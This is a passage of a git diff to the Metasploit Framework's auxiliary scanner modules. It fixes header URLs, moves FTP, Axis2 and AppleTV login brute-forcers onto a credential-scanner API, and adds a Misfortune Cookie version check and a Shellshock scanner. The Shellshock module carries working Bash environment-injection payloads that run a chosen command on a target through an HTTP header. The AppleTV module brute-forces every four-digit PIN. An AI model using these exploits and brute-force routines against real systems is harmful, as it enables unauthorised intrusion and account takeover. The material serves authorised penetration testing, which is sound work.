) + end + + if indices.length > 0 + print_good("#{peer} - ElasticSearch Indices found: #{indices.join(", ")}") + end + + end + +end diff --git a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb index 3cde9862fa..98234fe2f9 100644 --- a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb index 95cba4972c..57e3e108e0 100644 --- a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/finger/finger_users.rb b/modules/auxiliary/scanner/finger/finger_users.rb index 3969d1762f..e95315b367 100644 --- a/modules/auxiliary/scanner/finger/finger_users.rb +++ b/modules/auxiliary/scanner/finger/finger_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ftp/anonymous.rb b/modules/auxiliary/scanner/ftp/anonymous.rb index 07dbeb8c24..8af1e9cf16 100644 --- a/modules/auxiliary/scanner/ftp/anonymous.rb +++ b/modules/auxiliary/scanner/ftp/anonymous.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,40 +35,67 @@ class Metasploit3 < Msf::Auxiliary begin - res = connect_login(true, false) + res = connect_login(true, false) - banner.strip! if banner + banner.strip! if banner - dir = Rex::Text.rand_text_alpha(8) - if res - write_check = send_cmd( ['MKD', dir] , true) + dir = Rex::Text.rand_text_alpha(8) + if res + write_check = send_cmd(['MKD', dir] , true) - if (write_check and write_check =~ /^2/) - send_cmd( ['RMD', dir] , true) + if write_check && write_check =~ /^2/ + send_cmd( ['RMD', dir] , true) - print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})") - access_type = "rw" - else - print_status("#{target_host}:#{rport} Anonymous READ (#{banner})") - access_type = "ro" + print_good("#{target_host}:#{rport} - Anonymous READ/WRITE (#{banner})") + access_type = 'Read/Write' + else + print_good("#{target_host}:#{rport} - Anonymous READ (#{banner})") + access_type = 'Read-only' + end + register_creds(target_host, access_type) end - report_auth_info( - :host => target_host, - :port => rport, - :sname => 'ftp', - :user => datastore['FTPUSER'], - :pass => datastore['FTPPASS'], - :type => "password_#{access_type}", - :active => true - ) - end - disconnect + disconnect rescue ::Interrupt - raise $! + raise $ERROR_INFO rescue ::Rex::ConnectionError, ::IOError end + end + def register_creds(target_host, access_type) + # Build service information + service_data = { + address: target_host, + port: datastore['RPORT'], + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Build credential information + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['FTPPASS'], + private_type: :password, + username: datastore['FTPUSER'], + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + access_level: access_type, + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) end end diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index 063b8dd92a..b5a5bc3352 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/ftp' class Metasploit3 < Msf::Auxiliary @@ -35,6 +37,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::Proxies, Opt::RPORT(21), OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false]) ], self.class) @@ -52,134 +55,78 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{ip}:#{rport} - Starting FTP login sweep") - if check_banner - @@credentials_tried = {} - if datastore['RECORD_GUEST'] == false and check_anonymous == :next_user - @accepts_all_logins[@access] ||= [] - @accepts_all_logins[@access] << ip - print_status("Successful authentication with #{@access.to_s} access on #{ip} will not be reported") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + prepended_creds: anonymous_creds + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::FTP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + connection_timeout: 30, + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - each_user_pass { |user, pass| - next if user.nil? - ret = do_login(user,pass) - ftp_quit if datastore['SINGLE_SESSION'] - if ret == :next_user - unless user == user.downcase - ret = do_login(user.downcase,pass) - if ret == :next_user - user = user.downcase - print_status("Username #{user} is not case sensitive") - end - end - if datastore['RECORD_GUEST'] - report_ftp_creds(user,pass,@access) - else - if @accepts_all_logins[@access] - report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip) - else - report_ftp_creds(user,pass,@access) - end - end - end - ret - } -# check_anonymous - else - return end - ftp_quit + end - def ftp_quit - begin - send_quit if @ftp_sock - rescue ::Rex::ConnectionError, EOFError, ::Errno::ECONNRESET - end - disconnect if @ftp_sock - @ftp_sock = nil - end # Always check for anonymous access by pretending to be a browser. - def check_anonymous - browser_passwords = {} - browser_passwords['IE6'] = "IEUser@" - browser_passwords['IE8'] = "User@" - browser_passwords['Firefox'] = 'mozilla@example.com' - browser_passwords['Chrome'] = 'chrome@example.com' - unless @@credentials_tried.keys.include? "#{rhost}:#{rport}:anonymous" - do_login("anonymous",browser_passwords.values[rand(browser_passwords.size)]) - end - end - - def check_banner - @ftp_sock = connect(true, false) - if self.banner - banner_sanitized = Rex::Text.to_hex_ascii(self.banner.to_s) - print_status("#{rhost}:#{rport} - FTP Banner: '#{banner_sanitized}'") - report_service(:host => rhost, :port => rport, :name => "ftp", :info => banner_sanitized) - return true - else - print_error("#{rhost}:#{rport} - Did not get an FTP service banner") - return false - end - end - - def do_login(user=nil,pass=nil) - vprint_status("#{rhost}:#{rport} - Attempting FTP login for '#{user}':'#{pass}'") - this_attempt ||= {} - this_attempt[[user,pass]] ||= 0 - while this_attempt[[user,pass]] <= 3 - @ftp_sock = connect(true,false) unless @ftp_sock - begin - user_response = send_user(user, @ftp_sock) - if user_response !~ /^(331|2)/ - vprint_error("#{rhost}:#{rport} - The server rejected username: '#{user}'") - return :skip_user - end - pass_response = send_pass(pass, @ftp_sock) - if pass_response =~ /^2/ - print_good("#{rhost}:#{rport} - Successful FTP login for '#{user}':'#{pass}'") - @access = test_ftp_access(user) - ftp_quit - return :next_user - else - vprint_status("#{rhost}:#{rport} - Failed FTP login for '#{user}':'#{pass}'") - return :fail - end - rescue ::Rex::ConnectionError, EOFError, ::Errno::ECONNRESET => e - this_attempt[[user,pass]] += 1 - vprint_error "#{rhost}:#{rport} - Caught #{e.class}, reconnecting and retrying" - disconnect - @ftp_sock = nil + def anonymous_creds + anon_creds = [ ] + if datastore['RECORD_GUEST'] + ['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password| + anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password) end end - return :connection_error + anon_creds end - def test_ftp_access(user) + def test_ftp_access(user,scanner) dir = Rex::Text.rand_text_alpha(8) - write_check = send_cmd(['MKD', dir], true) + write_check = scanner.send_cmd(['MKD', dir], true) if write_check and write_check =~ /^2/ - send_cmd(['RMD',dir], true) + scanner.send_cmd(['RMD',dir], true) print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access") - return :write + return 'Read/Write' else print_status("#{rhost}:#{rport} - User '#{user}' has READ access") - return :read + return 'Read-only' end end - def report_ftp_creds(user,pass,access) - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'ftp', - :user => user, - :pass => pass, - :type => "password#{access == :read ? "_ro" : "" }", - :source_type => "user_supplied", - :active => true - ) - end end diff --git a/modules/auxiliary/scanner/ftp/ftp_version.rb b/modules/auxiliary/scanner/ftp/ftp_version.rb index 43168dc182..e922b36249 100644 --- a/modules/auxiliary/scanner/ftp/ftp_version.rb +++ b/modules/auxiliary/scanner/ftp/ftp_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index 5e2191961e..c29b0bb930 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(21), OptString.new('TRAVERSAL', [ true, "String to traverse to the drive's root directory", "..\\..\\" ]), - OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'windows\\win.ini']) ], self.class) end diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb index 2f06559fd6..56008ba45a 100644 --- a/modules/auxiliary/scanner/h323/h323_version.rb +++ b/modules/auxiliary/scanner/h323/h323_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb index 92bd68d1fe..ca9bd498f5 100644 --- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/adobe_xml_inject.rb b/modules/auxiliary/scanner/http/adobe_xml_inject.rb index d300099727..e801a16c18 100644 --- a/modules/auxiliary/scanner/http/adobe_xml_inject.rb +++ b/modules/auxiliary/scanner/http/adobe_xml_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb new file mode 100644 index 0000000000..1b83069f43 --- /dev/null +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -0,0 +1,64 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Scanner", + 'Description' => %q( + This module scans for HTTP servers that appear to be vulnerable to the + 'Misfortune Cookie' vulnerability which affects Allegro Software + Rompager versions before 4.34 and can allow attackers to authenticate + to the HTTP service as an administrator without providing valid + credentials. + ), + 'Author' => [ + 'Jon Hart <jon_hart[at]rapid7.com>', # metasploit module + 'Lior Oppenheim' # CVE-2014-9222 + ], + 'References' => [ + ['CVE', '2014-9222'], + ['URL', 'http://mis.fortunecook.ie'] + ], + 'DisclosureDate' => 'Dec 17 2014', + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to fingerprint RomPager from', '/Allegro']) + ], self.class) + end + + def check_host(ip) + res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET') + fp = http_fingerprint(response: res) + if /RomPager\/(?<version>[\d\.]+)$/ =~ fp + if Gem::Version.new(version) < Gem::Version.new('4.34') + report_vuln( + host: ip, + port: rport, + name: name, + refs: references + ) + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected + end + else + return Exploit::CheckCode::Safe + end + end + + def run_host(ip) + print_good("#{peer} appears to be vulnerable") if check_host(ip) == Exploit::CheckCode::Appears + end +end diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index 408acf458a..b5d88ff665 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb index 761d32eed3..fff6aa5d95 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(8161), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4]) ], self.class) end diff --git a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb new file mode 100644 index 0000000000..d0fe3e3dbe --- /dev/null +++ b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache mod_cgi Bash Environment Variable RCE Scanner', + 'Description' => %q{ + This module exploits a code injection in specially crafted environment + variables in Bash, specifically targeting Apache mod_cgi scripts through + the HTTP_USER_AGENT variable by default. + + PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your + CMD, set ExitOnSession false, run -j, and then run this module to create + sessions on vulnerable hosts. + + Note that this is not the recommended method for obtaining shells. + If you require sessions, please use the apache_mod_cgi_bash_env_exec + exploit module instead. + }, + 'Author' => [ + 'Stephane Chazelas', # Vulnerability discovery + 'wvu', # Metasploit module + 'lcamtuf' # CVE-2014-6278 + ], + 'References' => [ + ['CVE', '2014-6271'], + ['CVE', '2014-6278'], + ['OSVDB', '112004'], + ['EDB', '34765'], + ['URL', 'https://access.redhat.com/articles/1200223'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + ], + 'DisclosureDate' => 'Sep 24 2014', + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to CGI script']), + OptString.new('METHOD', [true, 'HTTP method to use', 'GET']), + OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']), + OptString.new('CMD', [true, 'Command to run (absolute paths required)', + '/usr/bin/id']), + OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271', + ['CVE-2014-6271', 'CVE-2014-6278']]) + ], self.class) + end + + def check_host(ip) + res = req("echo #{marker}", datastore['CVE']) + + if res && res.body.include?(marker * 3) + report_vuln( + :host => ip, + :port => rport, + :name => self.name, + :refs => self.references + ) + return Exploit::CheckCode::Vulnerable + elsif res && res.code == 500 + injected_res_code = res.code + else + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path.to_s) + }) + + if res && injected_res_code == res.code + return Exploit::CheckCode::Unknown + elsif res && injected_res_code != res.code + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Unknown + end + + def run_host(ip) + return unless check_host(ip) == Exploit::CheckCode::Vulnerable + + res = req(datastore['CMD'], datastore['CVE']) + + if res && res.body =~ /#{marker}(.+)#{marker}/m + print_good("#{peer} - #{$1}") + report_vuln( + :host => ip, + :port => rport, + :name => self.name, + :refs => self.references + ) + end + end + + def req(cmd, cve) + case cve + when 'CVE-2014-6271' + sploit = cve_2014_6271(cmd) + when 'CVE-2014-6278' + sploit = cve_2014_6278(cmd) + end + + send_request_cgi( + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path), + 'headers' => { + datastore['HEADER'] => sploit + } + ) + end + + def cve_2014_6271(cmd) + %Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"} + end + + def cve_2014_6278(cmd) + %Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }} + end + + def marker + @marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1) + end + +end diff --git a/modules/auxiliary/scanner/http/apache_userdir_enum.rb b/modules/auxiliary/scanner/http/apache_userdir_enum.rb index ec18950e25..5e953b465d 100644 --- a/modules/auxiliary/scanner/http/apache_userdir_enum.rb +++ b/modules/auxiliary/scanner/http/apache_userdir_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/appletv_login.rb b/modules/auxiliary/scanner/http/appletv_login.rb new file mode 100644 index 0000000000..467054f8e5 --- /dev/null +++ b/modules/auxiliary/scanner/http/appletv_login.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/http' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'AppleTV AirPlay Login Utility', + 'Description' => %q( + This module attempts to authenticate to an AppleTV service with + the username, 'AirPlay'. The device has two different access control + modes: OnScreen and Password. The difference between the two is the + password in OnScreen mode is numeric-only and four digits long, which + means when this option is enabled, this option, the module will make + sure to cover all of them - from 0000 to 9999. The Password mode is + more complex, therefore the usual online bruteforce strategies apply. + ), + 'Author' => + [ + '0a29406d9794e4f9b30b3c5d6702c708', # Original + 'thelightcosine' # LoginScanner conversion help + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://nto.github.io/AirPlay.html'] + ], + 'DefaultOptions' => { + 'RPORT' => 7000, # AppleTV's server + 'STOP_ON_SUCCESS' => true # There's only one password with the same username + } + ) + + register_options( + [ + OptBool.new('Onscreen', [false, 'Enable if AppleTV is using the Onscreen access control', false]), + OptPath.new('PASS_FILE', [ + false, + 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt') + ] + )], self.class) + + deregister_options( + 'USERNAME', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS', 'NTLM::SendLM', 'NTLM::SendNTLM', + 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', + 'REMOVE_USERPASS_FILE', 'REMOVE_USER_FILE', 'DOMAIN' + ) + end + + def run_host(ip) + uri = "/stop" + if datastore['PASS_FILE'] && !datastore['PASS_FILE'].empty? + print_status("Attempting to login to #{uri} using password list") + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + username: 'AirPlay', + user_as_pass: datastore['USER_AS_PASS'], + ) + else + print_status("Attempting to login to #{uri} by 'Onscreen Code'") + cred_collection = LockCodeCollection.new + end + + scanner = Metasploit::Framework::LoginScanner::HTTP.new( + host: ip, + port: rport, + uri: "/stop", + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id, + service_name: 'airplay' + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login(credential_data) + when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED + print_brute :level => :error, :ip => ip, :msg => "NO AUTH REQUIRED: '#{result.credential}'" + break + end + end + end + + # This class is just a faster way of doing our LockCode enumeration. We could just stick this into + # a CredentialCollection, but since we have a pre-set range we iterate through, it is easier to do it + # at runtime. + class LockCodeCollection + + def each + (0..9999).each do |pass| + screen_code = Metasploit::Framework::Credential.new(public: 'AirPlay', private: pass.to_s.rjust(4, '0'), realm: nil, private_type: :password ) + yield screen_code + end + end + end +end + diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index 69fabe0493..78ee78a383 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index 114efe7a21..7783231060 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index dfda5560f7..36ef2bcb16 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/login_scanner/axis2' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -17,10 +18,12 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Apache Axis2 v1.4.1 Brute Force Utility', - 'Description' => %q{This module attempts to login to an Apache Axis2 v1.4.1 - instance using username and password combindations indicated by the USER_FILE, - PASS_FILE, and USERPASS_FILE options. + 'Name' => 'Apache Axis2 Brute Force Utility', + 'Description' => %q{ + This module attempts to login to an Apache Axis2 instance using + username and password combindations indicated by the USER_FILE, + PASS_FILE, and USERPASS_FILE options. It has been verified to + work on at least versions 1.4.1 and 1.6.2. }, 'Author' => [ @@ -35,71 +38,90 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options( - [ Opt::RPORT(8080), - OptString.new('URI', [false, 'Path to the Apache Axis Administration page', '/axis2/axis2-admin/login']), + register_options( [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [false, 'Path to the Apache Axis Administration page', '/axis2/axis2-admin/login']), ], self.class) end + # For print_* methods def target_url "http://#{vhost}:#{rport}#{datastore['URI']}" end def run_host(ip) + uri = normalize_uri(target_uri.path) print_status("Verifying login exists at #{target_url}") begin - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => datastore['URI'] - }, 20) - rescue - print_error("The Axis2 login page does not exist at #{target_url}") + send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }, 20) + rescue => e + print_error("Failed to retrieve Axis2 login page at #{target_url}") + print_error("Error: #{e.class}: #{e}") return end print_status "#{target_url} - Apache Axis - Attempting authentication" - each_user_pass { |user, pass| - do_login(user, pass) - } + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - end + cred_collection = prepend_db_passwords(cred_collection) - def do_login(user=nil,pass=nil) - post_data = "userName=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&submit=+Login+" - vprint_status("#{target_url} - Apache Axis - Trying username:'#{user}' with password:'#{pass}'") + scanner = Metasploit::Framework::LoginScanner::Axis2.new( + host: ip, + port: rport, + uri: uri, + proxies: proxies, + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, + ) - begin - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => datastore['URI'], - 'data' => post_data, - }, 20) - - if (res and res.code == 200 and res.body.to_s.match(/upload/) != nil) - print_good("#{target_url} - Apache Axis - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Apache Axis\", VHOST=#{vhost}", - :source_type => "user_supplied", - :duplicate_ok => true, - :active => true - ) - - elsif(res and res.code == 200) - vprint_error("#{target_url} - Apache Axis - Failed to login as '#{user}'") - else - vprint_error("#{target_url} - Apache Axis - Unable to authenticate.") - return :abort + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) end - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE end + end + + + end diff --git a/modules/auxiliary/scanner/http/backup_file.rb b/modules/auxiliary/scanner/http/backup_file.rb index ad8862350f..3ac0d740bb 100644 --- a/modules/auxiliary/scanner/http/backup_file.rb +++ b/modules/auxiliary/scanner/http/backup_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb 